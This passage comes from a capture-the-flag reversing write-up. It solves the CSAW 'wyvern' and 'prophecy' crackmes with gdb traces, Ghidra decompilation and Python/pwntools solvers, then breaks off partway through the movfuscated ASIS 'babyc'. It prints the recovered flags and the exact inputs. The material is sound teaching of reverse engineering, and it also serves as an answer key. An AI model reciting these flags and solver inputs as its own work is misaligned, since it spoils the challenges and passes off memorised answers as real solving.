0x00007fffffffda88│+0x0018: 0x00000000006236d8  →  0x0000000000000000
0x00007fffffffda90│+0x0020: 0x00000000006236d8  →  0x0000000000000000
0x00007fffffffda98│+0x0028: 0x0000000000000000
0x00007fffffffdaa0│+0x0030: 0x000000000000001c
0x00007fffffffdaa8│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────── code:x86:64 ────
     0x402a6e <sanitize_input(std::string)+3502> jmp    0x403eb3
<_Z14sanitize_inputSs+8691>
     0x402a73 <sanitize_input(std::string)+3507> mov    eax, DWORD PTR
[rbp-0xe0]
     0x402a79 <sanitize_input(std::string)+3513> mov    ecx, DWORD PTR
[rbp-0xe8]
 →   0x402a7f <sanitize_input(std::string)+3519> cmp    eax, ecx
     0x402a81 <sanitize_input(std::string)+3521> sete   dl
     0x402a84 <sanitize_input(std::string)+3524> mov    esi, DWORD PTR
ds:0x610594
     0x402a8b <sanitize_input(std::string)+3531> mov    edi, DWORD PTR
ds:0x610434
     0x402a92 <sanitize_input(std::string)+3538> mov    r8d, esi
     0x402a95 <sanitize_input(std::string)+3541> sub    r8d, 0x1
────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "wyvern", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────── trace ────
```

```
[#0] 0x402a7f → sanitize_input(std::string)()
[#1] 0x404854 → start_quest(std::string)()
[#2] 0x40e266 → main()
```

```
gef➤  p $eax
$3 = 0xd6
gef➤  p $ecx
$4 = 0x94
```

Let's see where it comes up with those values. For `heroValue` we can see that it grabs it from the `hero` array:

```
      heroValueTransfer = (int *)operator[](hero,(long)(int)*puVar4,*(undefined
*)(puVar5 + -0x2e));
        heroValue = *heroValueTransfer;
```

In addition to that, when we stop at the check in the debugger, we see that it always has a value that corresponds to `hero[i]` where `i` is the iteration count. For `transformedValue` we see that it is grabbed from here:

```
transformedValue = transform_input((int)this_00,*(undefined *)(puVar5 + -0x2e));
```

When we stop at this call in gdb, we see that it's argument is our input stored in the same style as the `hero` array.

```
──────────────────────────────────────────────────────────────── code:x86:64 ────
     0x402a11 <sanitize_input(std::string)+3409> jne    0x402a1c
<_Z14sanitize_inputSs+3420>
     0x402a17 <sanitize_input(std::string)+3415> jmp    0x404298
<_Z14sanitize_inputSs+9688>
     0x402a1c <sanitize_input(std::string)+3420> mov    rdi, QWORD PTR
[rbp-0x80]
 →   0x402a20 <sanitize_input(std::string)+3424> call   0x4014b0
<_Z15transform_inputSt6vectorIiSaIiEE>
   ↳    0x4014b0 <transform_input(std::vector<int,+0> push   rbp
        0x4014b1 <transform_input(std::vector<int,+0> mov    rbp, rsp
        0x4014b4 <transform_input(std::vector<int,+0> push   rbx
        0x4014b5 <transform_input(std::vector<int,+0> sub    rsp, 0x48
        0x4014b9 <transform_input(std::vector<int,+0> mov    eax, DWORD PTR
ds:0x610368
        0x4014c0 <transform_input(std::vector<int,+0> mov    ecx, DWORD PTR
ds:0x610558
──────────────────────────────────────────────────────── arguments (guessed) ────
_Z15transform_inputSt6vectorIiSaIiEE (
   $rdi = 0x00007fffffffda80 → 0x00000000006236f0 → 0x0000000000000064 ("d"?),
   $rsi = 0x0000000000000001,
   $rdx = 0x00000000ffffffff,
   $rcx = 0x0000000000000000
)
──────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "wyvern", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x402a20 → sanitize_input(std::string)()
[#1] 0x404854 → start_quest(std::string)()
[#2] 0x40e266 → main()
─────────────────────────────────────────────────────────────────────────────────
gef➤
```

output is `0x64` in `eax`. For the second iteration, we have this:

```
code:x86:64 ────
     0x402a11 <sanitize_input(std::string)+3409> jne    0x402a1c
<_Z14sanitize_inputSs+3420>
     0x402a17 <sanitize_input(std::string)+3415> jmp    0x404298
<_Z14sanitize_inputSs+9688>
     0x402a1c <sanitize_input(std::string)+3420> mov    rdi, QWORD PTR
[rbp-0x80]
 →   0x402a20 <sanitize_input(std::string)+3424> call   0x4014b0
<_Z15transform_inputSt6vectorIiSaIiEE>
   ↳    0x4014b0 <transform_input(std::vector<int,+0> push   rbp
        0x4014b1 <transform_input(std::vector<int,+0> mov    rbp, rsp
        0x4014b4 <transform_input(std::vector<int,+0> push   rbx
        0x4014b5 <transform_input(std::vector<int,+0> sub    rsp, 0x48
        0x4014b9 <transform_input(std::vector<int,+0> mov    eax, DWORD PTR
ds:0x610368
        0x4014c0 <transform_input(std::vector<int,+0> mov    ecx, DWORD PTR
ds:0x610558
```

```
arguments (guessed) ────
_Z15transform_inputSt6vectorIiSaIiEE (
   $rdi = 0x00007fffffffda80 → 0x00000000006236d0 → 0x0000003000000064 ("d"?),
   $rsi = 0x0000000000000001,
   $rdx = 0x00000000ffffffff,
   $rcx = 0x0000000000000000
)
```

```
threads ────
[#0] Id 1, Name: "wyvern", stopped, reason: BREAKPOINT
```

```
trace ────
[#0] 0x402a20 → sanitize_input(std::string)()
[#1] 0x404854 → start_quest(std::string)()
[#2] 0x40e266 → main()
```

```
gef➤
```

Output is `0x94` in the `eax` register. We can see a pattern here. The input to this function is a single QWORD that stores two bytes. It then adds those two values and returns whatever the sum is. In the first case that was `0x64 + 0 = 0x64`. For the second case that was `0x64 + 0x30 = 0x94`. So the value that is derived from our input in the compare is essentially `inp[i] + inp[i - 1]` (with `inp[-1]` being `0`).

So now that we know how exactly our input is influencing the check, we can figure out what input we need to give it to pass everything. Since it is adding our values together, we can just subtract the `hero` values in the same manner to undo it. First here is all of the `hero` values:

```
gef➤  x/14g 0x623790
0x623790: 0xd600000064  0x1710000010a
0x6237a0: 0x20f000001a1 0x2dd0000026e
0x6237b0: 0x3ae0000034f 0x4520000041e
0x6237c0: 0x538000004c6 0x604000005a1
0x6237d0: 0x69600000635 0x76300000704
0x6237e0: 0x840000007cc 0x8d400000875
0x6237f0: 0x96c00000920 0xa0f000009c2
```

When we subtract it:

```
0x64 - 0x00   = 0x64 'd'
0xd6 - 0x64   = 0x72 'r'
0x10a - 0xd6  = 0x34 '4'
0x171 - 0x10a = 0x67 'g'
0x1a1 - 0x171 = 0x30 '0'
```

So we can see that this is starting to give us something that looks like a solution. When we script this out, we get this:

```
hero = [0x0, 0x64, 0xd6, 0x10a, 0x171, 0x1a1, 0x20f, 0x26e, 0x2dd, 0x34f, 0x3ae,
0x41e, 0x452, 0x4c6, 0x538, 0x5a1, 0x604, 0x635, 0x696, 0x704, 0x763, 0x7cc,
0x840, 0x875, 0x8d4, 0x920, 0x96c, 0x9c2, 0xa0f]

flag = ""

for i in range(1, len(hero)):
  flag += chr(hero[i] - hero[i - 1])

print "We fought off the dragon: " + flag
```

When we run it:

```
$ ./wyvern
+-----------------------+
|    Welcome Hero       |
+-----------------------+

[!] Quest: there is a dragon prowling the domain.
  brute strength and magic is our only hope. Test your skill.

Enter the dragon's secret: dr4g0n_or_p4tric1an_it5_LLVM
success

[+] A great success! Here is a flag{dr4g0n_or_p4tric1an_it5_LLVM}
```

Just like that, we solved the challenge!

Csaw 2017 Prophecy

The goal of this challenge is to print the contents of the flag file.

Let's take a look at the binary:

```
$ file prophecy
prophecy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, not
stripped
$ ./prophecy
----------------------------------------------
|PROPHECY PROPHECY PROPHECY PROPHECY PROPHECY|
----------------------------------------------
[*]Give me the secret name
>>guyinatuxedo
[*]Give me the key to unlock the prophecy
>>supersecretkey
```

So we can see that it prompts us for a name and a key. When we look at the code in Ghidra, it is clear that the binary has been obfuscated. The program is run in a while true loop, and the code has been split into a lot of different sections. Which section runs depends on the value of the integer `codeFlow`. Also most of the code we are interested in is ran in the `parser` function, which is called in main. With that knowledge, let's find the pieces of code that scan in our name and secret.

Name: (address: 0x40254b)

```
                                                            this = operator<<<std--
char_traits<char>>
                                                                                 (cout,
                                                            "|PROPHECY PROPHECY PROPHECY
PROPHECY PROPHECY| ",
                                                            puVar5[0x2fffffab8]);
                                                            *(undefined8 *)(puVar5 +
0x2fffffab8) = 0x4024ab;
                                                            local_3a0 = operator<<(this,

_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_
                                                            ,puVar5[0x2fffffab8]);
                                                            *(undefined8 *)(puVar5 +
0x2fffffab8) = 0x4024cb;
                                                            this = operator<<<std--
char_traits<char>>
                                                                                 (cout,

"----------------------------------------------",
                                                            puVar5[0x2fffffab8]);
                                                            *(undefined8 *)(puVar5 +
0x2fffffab8) = 0x4024dd;
                                                            local_3a8 = operator<<(this,

_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_
                                                            ,puVar5[0x2fffffab8]);
                                                            *(undefined8 *)(puVar5 +
0x2fffffab8) = 0x4024fd;
                                                            this = operator<<<std--
char_traits<char>>
                                                                                 (cout,
                                                            "[*]Give me the secret
name",puVar5[0x2fffffab8]);
                                                            *(undefined8 *)(puVar5 +
0x2fffffab8) = 0x40250f;
                                                            local_3b0 = operator<<(this,

_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_
                                                            ,puVar5[0x2fffffab8]);
                                                            *(undefined8 *)(puVar5 +
0x2fffffab8) = 0x40252f;
                                                            local_3b8 = operator<<<std--
char_traits<char>>

(cout,&DAT_0040647e,

puVar5[0x2fffffab8]);
                                                            *(undefined8 *)(puVar5 +
0x2fffffab8) = 0x40254b;
                                                            sVar3 =
read(0,local_d8,200,puVar5[0x2fffffab8]);
                                                            codeFlow = 0xac75072e;
```

```
local_49 = 0 < sVar3;
bVar9 = (x.28 * (x.28 + -1) &
1U) == 0;
puVar5 = (undefined
*)local_58;
if (bVar9 != y.29 < 10 ||
bVar9 && y.29 < 10) {
  codeFlow = 0xa0ebe5ab;
```

Here we can see that it prompts for the secret name. It scans in 200 bytes into `name_input` 200 bytes, then checks to see if it scanned in more than 0 bytes. Checking the references for `name_input` we find the following code block.

address: 0x402b57

```
containsStarcraft =
strstr(nameInput,".starcraft",
      puVar4[-8]);
starcraftCheck =
     containsStarcraft
!= (char *)0x0;
```

Looking here, we can see that it checks to see if `nameInput` contains the string `.starcraft`. So the name we need to input is probably `.starcraft`

Secret: (address: 0x40289d)

```
                                                          this = operator<<<std--
char_traits<char>>
                                                                            (cout,
                                                    "[*]Give me the key to unlock
the prophecy",
                                                    puVar5[-8]);
                                                    *(undefined8 *)(puVar5 + -8) =
0x402866;
                                                    local_3d8 = operator<<(this,

_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_
                                                    ,puVar5[-8]);
                                                    *(undefined8 *)(puVar5 + -8) =
0x402886;
                                                    local_3e0 = operator<<<std--
char_traits<char>>

(cout,&DAT_0040647e,

puVar5[-8]);
                                                    *(undefined8 *)(puVar5 + -8) =
0x4028a2;
                                                    sVar3 =
read(0,keyInput,300,puVar5[-8]);
                                                    codeFlow = 0x661c008b;
                                                    local_48 = 0 < sVar3;
                                                    bVar9 = (x.28 * (x.28 + -1) &
1U) == 0;
                                                    if (bVar9 != y.29 < 10 ||
bVar9 && y.29 < 10) {
                                                      codeFlow = 0xc0f1dacd;
```

Here we can see that it prints out `[*]Give me the key to unlock the prophecy`. Proceeding that it makes a read call, which it will scan 300 (0x12c) bytes into `keyInput`. It then make sures that the read scanned in more than 0 bytes. Checking the references for `keyInput` we find a bit of code that alters `keyInput`:

address: 0x402a3d

```
                                                                keyLen =
strlen(keyInput,puVar5[-8]);
                                                                keyInput[keyLen +
local_3e8 + -1] = 0;
```

This line of code will essentially set the byte directly before the first null byte equal to a null byte. This is because `strlen` will count the amount of bytes until a null byte. Read by itself does not null terminate. Proceeding that, after checking the references for `keyInput` we find the next code block:In

HERE!!!!

address: 0x402f08

```
            nameInputTrsfr = nameInput;
            *(undefined8 *)(puVar4 + -8) = 0x402e94;
            nameInputTransfer = strlen(nameInput,puVar4[-8]);
            *(undefined8 *)(puVar4 + -8) = 0x402eaa;
            appendedFilename =
strncat(tmp,nameInputTrsfr,nameInputTransfer,puVar4[-8]);
            *local_c0 = appendedFilename;
            __s = *local_c0;
            *(undefined8 *)(puVar4 + -8) = 0x402ecd;
            filePointer = strtok(__s,&DAT_004064d5,puVar4[-8]);
            *(undefined8 *)(puVar4 + -8) = 0x402edf;
            __s_00 = fopen(filePointer,&DAT_004064d7,puVar4[-8]);
            *local_f0 = __s_00;
            __s_00 = *local_f0;
            *(undefined8 *)(puVar4 + -8) = 0x402f0d;
            local_418 = fwrite(keyInput,1,300,__s_00,puVar4[-8]);
            __s_00 = *local_f0;
            *(undefined8 *)(puVar4 + -8) = 0x402f23;
            local_41c = fclose(__s_00,puVar4[-8]);
            __s = *local_c0;
            *(undefined8 *)(puVar4 + -8) = 0x402f42;
            __s_00 = fopen(__s,&DAT_004064da,puVar4[-8]);
```

So we can see here some manipulation going on with our two inputs. First it takes `nameInput` (which because of a previous check should be `.starcraft`) and appends it to the end of `/tmp/` (look at it's value in gdb). Proceeding that, it strips a newline character from the appended filename. After that it opens up the appended string as a writable file, then writes 0x12c bytes of `keyInput` to it (it will write more bytes). Later on it opens the same file as a readable file.

tl;dr If the name you input is `.starcraft` it will create the file `/tmp/.starcraft` and write the input you gave it as a key to it (plus the difference from the length of the input to 0x12c). It ends off with opening the file you created as readable,.

So the file it created is probably read later on in the code. We see in the imports that the function fread is in the code. Let's run the binary in gdb and set a breakpoint for `fread` so we can see where our input is read:

```
gef➤  b *fread
Breakpoint 1 at 0x400b30
gef➤  r
Starting program: /Hackery/pod/modules/obfuscated_reversing/csaw17_prophecy
/prophecy
----------------------------------------------
|PROPHECY PROPHECY PROPHECY PROPHECY PROPHECY|
----------------------------------------------
[*]Give me the secret name
>>.starcraft
[*]Give me the key to unlock the prophecy
>>15935728
[*]Interpreting the secret....

Breakpoint 1, __GI__IO_fread (buf=0x7fffffffd3a0, size=0x1, count=0x4,
fp=0x619e70) at iofread.c:32
32  iofread.c: No such file or directory.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x4
$rbx   : 0x0
$rcx   : 0x0000000000619e70  →  0x00000000fbad2488
$rdx   : 0x4
$rsp   : 0x00007fffffffd248  →  0x0000000000403197  →  <parser()+8455> mov r8d,
0x1cd65a05
$rbp   : 0x00007fffffffdec0  →  0x00007fffffffdf40  →  0x0000000000406380  →
<__libc_csu_init+0> push r15
$rsi   : 0x1
$rdi   : 0x00007fffffffd3a0  →  0x00000000001722af
$rip   : 0x00007ffff7b028a0  →  <fread+0> push r14
$r8    : 0xced24a00
$r9    : 0xced24a01
$r10   : 0x6
$r11   : 0x00007ffff7b028a0  →  <fread+0> push r14
$r12   : 0x0000000000400f01  →  <_GLOBAL__sub_I_prophecy.cpp+273> add ecx, esi
$r13   : 0x00007fffffffe001  →  0xb900000000000000
$r14   : 0xffffffff
$r15   : 0xffffff01
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd248│+0x0000: 0x0000000000403197  →  <parser()+8455> mov r8d,
0x1cd65a05   ← $rsp
0x00007fffffffd250│+0x0008: 0x00007fffffffd280  →  0x00007ffff7fb5ee0  →
"/lib/x86_64-linux-gnu/libc.so.6"
0x00007fffffffd258│+0x0010: 0x00007fffffffd27f  →  0x007ffff7fb5ee000
0x00007fffffffd260│+0x0018: 0x00007ffff7fb59d0  →  "/lib/x86_64-linux-
gnu/libgcc_s.so.1"
0x00007fffffffd268│+0x0020: 0x0000000000000000
0x00007fffffffd270│+0x0028: 0x00007fffffffd2a0  →  0x0000000000000000
0x00007fffffffd278│+0x0030: 0x00007fffffffd29f  →  0x0000000000000003
```

```
0x00007fffffffd280│+0x0038: 0x00007ffff7fb5ee0  →  "/lib/x86_64-linux-
gnu/libc.so.6"
──────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7b0288d <fputs+333>      jmp    0x7ffff7aa5796
<__GI__IO_fputs+4294586454>
   0x7ffff7b02892                  nop    WORD PTR cs:[rax+rax*1+0x0]
   0x7ffff7b0289c                  nop    DWORD PTR [rax+0x0]
 → 0x7ffff7b028a0 <fread+0>        push   r14
   0x7ffff7b028a2 <fread+2>        push   r13
   0x7ffff7b028a4 <fread+4>        push   r12
   0x7ffff7b028a6 <fread+6>        push   rbp
   0x7ffff7b028a7 <fread+7>        push   rbx
   0x7ffff7b028a8 <fread+8>        mov    rbx, rsi
──────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "prophecy", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7b028a0 → __GI__IO_fread(buf=0x7fffffffd3a0, size=0x1, count=0x4,
fp=0x619e70)
[#1] 0x403197 → parser()()
[#2] 0x40629d → main()
─────────────────────────────────────────────────────────────────────────────────
```

So we can see from the stack section of the output from gdb, that there is a call to fread at `0x403197`. Note that this is the only fread call we get. When we go to the section of code in Ghidra, we see the following:

address: 0x403197

```
                                                            local_430 =
fread(input0,1,4,__s_00,puVar4[-8]
                                                                             );
                                                            codeFlow = 0x1cd65a05;
                                                            *input0Transfer = *input0;
                                                            check0 = *input0Transfer
== 0x17202508;
```

So we can see here that it will read 4 bytes of data from the file `/tmp/.starcraft` and then creates a bool `check:0` that is true if the 4 bytes of data it scans in is equal to the hex string `0x17202508`. We can continue where we left off in gdb to see exactly what data it's scanning in. After the fread call finishes, set a breakpoint for the cmp instruction for the bool:

```
gdb-peda$ finish

. . .

code:x86:64 ────
     0x403188 <parser()+8440>  mov    rcx, QWORD PTR [rbp-0xe0]
     0x40318f <parser()+8447>  mov    rcx, QWORD PTR [rcx]
     0x403192 <parser()+8450>  call   0x400b30 <fread@plt>
 →   0x403197 <parser()+8455>  mov    r8d, 0x1cd65a05
     0x40319d <parser()+8461>  mov    r9d, 0x643f2c50
     0x4031a3 <parser()+8467>  mov    r10b, 0x1
     0x4031a6 <parser()+8470>  mov    rcx, QWORD PTR [rbp-0xc0]
     0x4031ad <parser()+8477>  mov    r11d, DWORD PTR [rcx]
     0x4031b0 <parser()+8480>  mov    rcx, QWORD PTR [rbp-0xb0]

threads ────
[#0] Id 1, Name: "prophecy", stopped, reason: TEMPORARY BREAKPOINT

trace ────
[#0] 0x403197 → parser()()
[#1] 0x40629d → main()

gef➤  b *0x4031c1
Breakpoint 2 at 0x4031c1
gef➤  c
Continuing.
```

and once we reach the compare

```
code:x86:64 ────
     0x4031b0 <parser()+8480>  mov    rcx, QWORD PTR [rbp-0xb0]
     0x4031b7 <parser()+8487>  mov    DWORD PTR [rcx], r11d
     0x4031ba <parser()+8490>  mov    rcx, QWORD PTR [rbp-0xb0]
 →   0x4031c1 <parser()+8497>  cmp    DWORD PTR [rcx], 0x17202508
     0x4031c7 <parser()+8503>  sete   bl
     0x4031ca <parser()+8506>  and    bl, 0x1
     0x4031cd <parser()+8509>  mov    BYTE PTR [rbp-0x3d], bl
     0x4031d0 <parser()+8512>  mov    r11d, DWORD PTR ds:0x607234
     0x4031d8 <parser()+8520>  mov    r14d, DWORD PTR ds:0x607224

threads ────
[#0] Id 1, Name: "prophecy", stopped, reason: BREAKPOINT

trace ────
[#0] 0x4031c1 → parser()()
[#1] 0x40629d → main()

gef➤  x/x $rcx
0x7fffffffd380: 0x33393531
```

So we can see that the values it's compared against the hex string `0x17202508` are `1593` which are the first four characters we inputted. So now that we know that the first four characters So with this, we now know what we need to input to pass the first check.

Now this isn't the only check the binary does. It does six more checks, so these are all of the checks:

```
0x4031c1:    input = 0x17202508
0x4034eb:    input = 0x4b
0x403cb4:    input = 0x3
0x404296:    input = 0xe4ea93
0x40461d:    input = "LUTAREX"
0x4049bc:    input = 0x444556415300
0x404d60:    input = 0x4c4c4100
```

So there are a couple of formatting errors you have to worry about, but once you put it all together you get this:

```
#First import pwntools
from pwn import *

#Establish the target, either remote connection or local process
target = process('./prophecy')
#target = remote("reversing.chal.csaw.io", 7668)

#Attach gdb
gdb.attach(target)

#Print out the starting menu, prompt for input from user, then send filename
print target.recvuntil(">>")
raw_input()
target.sendline(".starcraft")

#Prompt for user input to pause
raw_input()

#Form the data to pass the check, then send it
check0 = "\x08\x25\x20\x17"
check1 = "\x4b"*4 + "\x00"  +  "\x4b"*4
check2 = "\x03"*1
check3 = "\x93\xea\xe4\x00"
check4 = "\x5a\x45\x52\x41\x54\x55\x4c"
check5 = "\x00\x53\x41\x56\x45\x44"
check6 = "\x00\x41\x4c\x4c"
target.send(check0 + check1 + check2 + check3 + check4 + check5 + check6)

#Drop to an interactive shell
target.interactive()
```

and when we run it against the server:

```
$ python rev.py
[+] Starting local process './prophecy': pid 4763
-----------------------------------------------
|PROPHECY PROPHECY PROPHECY PROPHECY PROPHECY|
-----------------------------------------------
[*]Give me the secret name
>>


[*] Switching to interactive mode
[*]Give me the key to unlock the prophecy
>>[*]Interpreting the secret....
[*]Waiting....
[*]I do not join. I lead!
[*]You'll see that better future Matt. But it 'aint for the likes of us.
[*]The xel'naga, who forged the stars,Will transcend their creation....
[*]Yet, the Fallen One shall remain,Destined to cover the Void in shadow...
[*]Before the stars wake from their Celestial courses,
[*]He shall break the cycle of the gods,Devouring all light and hope.
=========================================================================================
[*]ZERATUL:flag{N0w_th3_x3l_naga_that_f0rg3d_us_a11_ar3_r3turn1ng_But
d0_th3y_c0m3_to_sav3_0r_t0_d3str0y?}
=========================================================================================
[*]Prophecy has disappered into the Void....
[*] Process './prophecy' stopped with exit code 0 (pid 4763)
[*] Got EOF while reading in interactive
$
```

Just like theat, we captured the flag!

MOVfuscation

Asis 2018 Quals Babyc

The goal of this challenge is just to find the first `14` characters of the correct input (a bit different, the flag was a hash of the first `14` characters).

Let's take a look at the binary:

```
$    file babyc
babyc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-, stripped
$    ./babyc
15935728
Wrong!
```

So it looks like we are dealing with a `32` bit crackme challenge that takes in input via stdin. A crackme challenge is one that takes in input, and checks if it is what it expects (and we have to figure out the correct input). Looking at the assembly code of the binary in Ghidra, it becomes apparant very quickly that this binary has been obfuscated:

```
        08048343 a3 f0 5f        MOV        [DAT_081f5ff0],EAX
                 1f 08
        08048348 89 15 f4        MOV        dword ptr [DAT_081f5ff4],EDX
                 5f 1f 08
        0804834e b8 00 00        MOV        EAX,0x0
                 00 00
        08048353 b9 00 00        MOV        ECX,0x0
                 00 00
        08048358 c7 05 00        MOV        dword ptr [DAT_081f6000],0x0
                 60 1f 08
                 00 00 00 00
        08048362 66 a1 f0        MOV        AX,[DAT_081f5ff0]
                 5f 1f 08
        08048368 66 8b 0d        MOV        CX,word ptr [DAT_081f5ff4]
                 f4 5f 1f 08
        0804836f 8b 14 85        MOV        EDX,dword ptr [PTR_DAT_08060f30 +
EAX*0x4]       = 080e0f34
                 30 0f 06 08
        08048376 8b 14 8a        MOV        EDX,dword ptr [EDX + ECX*0x4]
        08048379 66 8b 0d        MOV        CX,word ptr [DAT_081f6002]
                 02 60 1f 08
        08048380 8b 14 95        MOV        EDX,dword ptr [PTR_DAT_08060f30 +
EDX*0x4]       = 080e0f34
                 30 0f 06 08
        08048387 8b 14 8a        MOV        EDX,dword ptr [EDX + ECX*0x4]
        0804838a 66 89 15        MOV        word ptr [DAT_081f5ff8],DX
                 f8 5f 1f 08
```

Specifically it has been obfuscated using Movfiscator, which is a compiler that obfuscates code by only using the `mov` instruction. Starting off I tried to do a side channel attack with perf, however that didn't work here. After I tried using a tool called `demovfuscator` (https://github.com/kirschju/demovfuscator) which is a tool designed to help reverse out movfuscated binaries. it can produce a graph showing the control flow through the program, and can even generate a binary from the movfuscated binary.

Let's run the tool to generate a patched version of the binary, and a graph:

```
$       ./demov -g char.dot -o demov_babyc babyc
```

and let's convert the .dot file to a pdf:

```
$       dot -Tpdf char.dot -o char.pdf
```

Looking at the graph `char.pdf`, we see that it starts at `0x804899e` and ends at `0x804b97c`. In between that we can see there is a string of conditionals, which if any of them fail it will lead us to `0x804b5d0`. These conditionals are at these addresses:

```
0x8049853:
0x8049b26:
0x8049e50:
0x804a17a:
0x804a6fc:
```

Let's take a look at the code for the `0x8049853` conditional, we see this (this is from the demovfuscated patched binary):

Let's us objdump to view it:

```
$       objdump -D demov_babyc -M intel | less
```

Then we see this:

```
 8049847:       a1 e0 5f 1f 08          mov    eax,ds:0x81f5fe0
 804984c:       85 c0                   test   eax,eax
 804984e:       90                      nop
 804984f:       90                      nop
 8049850:       90                      nop
 8049851:       90                      nop
 8049852:       90                      nop
 8049853:       0f 85 77 1d 00 00       jne    804b5d0 <strncmp@plt+0x3350>
```

So we can see that the comparison which determines if there is a jump is made at `0x804984c`. Let's see what the memory looks like there in gdb:

```
gef➤  b *0x804984c
Breakpoint 1 at 0x804984c
gef➤  r
Starting program: /Hackery/pod/modules/movfuscation/asis18_babyc/demov_babyc
15935728
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────
registers ────
$eax   : 0x1
$ebx   : 0xf7ffd000  →  0x00026f34
$ecx   : 0x1
$edx   : 0x0
$esp   : 0x085f6124  →  0x085f6133  →  "35728"
$ebp   : 0x0
$esi   : 0xffffd0fc  →  0xffffd2de  →  "CLUTTER_IM_MODULE=xim"
$edi   : 0x0804829c  →   mov DWORD PTR ds:0x83f6140, esp
$eip   : 0x0804984c  →   test eax, eax
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────
stack ────
0x085f6124│+0x0000: 0x085f6133  →  "35728"      ← $esp
0x085f6128│+0x0004: 0x0804d036  →  "m0vfu3c4t0r!"
0x085f612c│+0x0008:  or al, 0x0
0x085f6130│+0x000c: "15935728"
0x085f6134│+0x0010: "5728"
0x085f6138│+0x0014:  or al, BYTE PTR [eax]
0x085f613c│+0x0018:  add BYTE PTR [eax], al
0x085f6140│+0x001c:  add BYTE PTR [eax], al
────────────────────────────────────────────────────────────────────────────────
code:x86:32 ────
    0x804983e                  mov    edx, DWORD PTR ds:0x804d07c
    0x8049844                  mov    DWORD PTR [eax+0xc], edx
    0x8049847                  mov    eax, ds:0x81f5fe0
 →  0x804984c                  test   eax, eax
    0x804984e                  nop
    0x804984f                  nop
    0x8049850                  nop
    0x8049851                  nop
    0x8049852                  nop
────────────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "demov_babyc", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0x804984c → test eax, eax
────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x0804984c in ?? ()
gef➤
```

So we can see that our input is on the stack, or more specifically our input after the first three characters. After that is the string `m0vfu3c4t0r!`, which it is probably comparing our input after the first three characters to. When we input the string `012m0vfu3c4t0r!` we see that we pass this check which confirms our assumption.

The next check we have is at `0x8049b26`:

```
 8049a71:	a3 e0 5f 1f 08       	mov    ds:0x81f5fe0,eax
 8049a76:	a1 e0 5f 1f 08       	mov    eax,ds:0x81f5fe0
 8049a7b:	8b 04 85 60 61 3f 08 	mov    eax,DWORD PTR [eax*4+0x83f6160]
 8049a82:	8b 15 00 61 1f 08    	mov    edx,DWORD PTR ds:0x81f6100
 8049a88:	89 10                	mov    DWORD PTR [eax],edx
 8049a8a:	8b 0d e0 5f 1f 08    	mov    ecx,DWORD PTR ds:0x81f5fe0
 8049a90:	c7 05 74 61 3f 08 90 	mov    DWORD PTR ds:0x83f6174,0x85f6190
 8049a97:	61 5f 08 
 8049a9a:	8b 04 8d 70 61 3f 08 	mov    eax,DWORD PTR [ecx*4+0x83f6170]
 8049aa1:	8b 15 50 d0 04 08    	mov    edx,DWORD PTR ds:0x804d050
 8049aa7:	89 10                	mov    DWORD PTR [eax],edx
 8049aa9:	8b 15 54 d0 04 08    	mov    edx,DWORD PTR ds:0x804d054
 8049aaf:	89 50 04             	mov    DWORD PTR [eax+0x4],edx
 8049ab2:	8b 15 58 d0 04 08    	mov    edx,DWORD PTR ds:0x804d058
 8049ab8:	89 50 08             	mov    DWORD PTR [eax+0x8],edx
 8049abb:	8b 15 5c d0 04 08    	mov    edx,DWORD PTR ds:0x804d05c
 8049ac1:	89 50 0c             	mov    DWORD PTR [eax+0xc],edx
 8049ac4:	c7 05 74 61 3f 08 a0 	mov    DWORD PTR ds:0x83f6174,0x85f61a0
 8049acb:	61 5f 08 
 8049ace:	8b 04 8d 70 61 3f 08 	mov    eax,DWORD PTR [ecx*4+0x83f6170]
 8049ad5:	8b 15 60 d0 04 08    	mov    edx,DWORD PTR ds:0x804d060
 8049adb:	89 10                	mov    DWORD PTR [eax],edx
 8049add:	8b 15 64 d0 04 08    	mov    edx,DWORD PTR ds:0x804d064
 8049ae3:	89 50 04             	mov    DWORD PTR [eax+0x4],edx
 8049ae6:	c7 05 74 61 3f 08 a8 	mov    DWORD PTR ds:0x83f6174,0x85f61a8
 8049aed:	61 5f 08 
 8049af0:	8b 04 8d 70 61 3f 08 	mov    eax,DWORD PTR [ecx*4+0x83f6170]
 8049af7:	8b 15 70 d0 04 08    	mov    edx,DWORD PTR ds:0x804d070
 8049afd:	89 10                	mov    DWORD PTR [eax],edx
 8049aff:	8b 15 74 d0 04 08    	mov    edx,DWORD PTR ds:0x804d074
 8049b05:	89 50 04             	mov    DWORD PTR [eax+0x4],edx
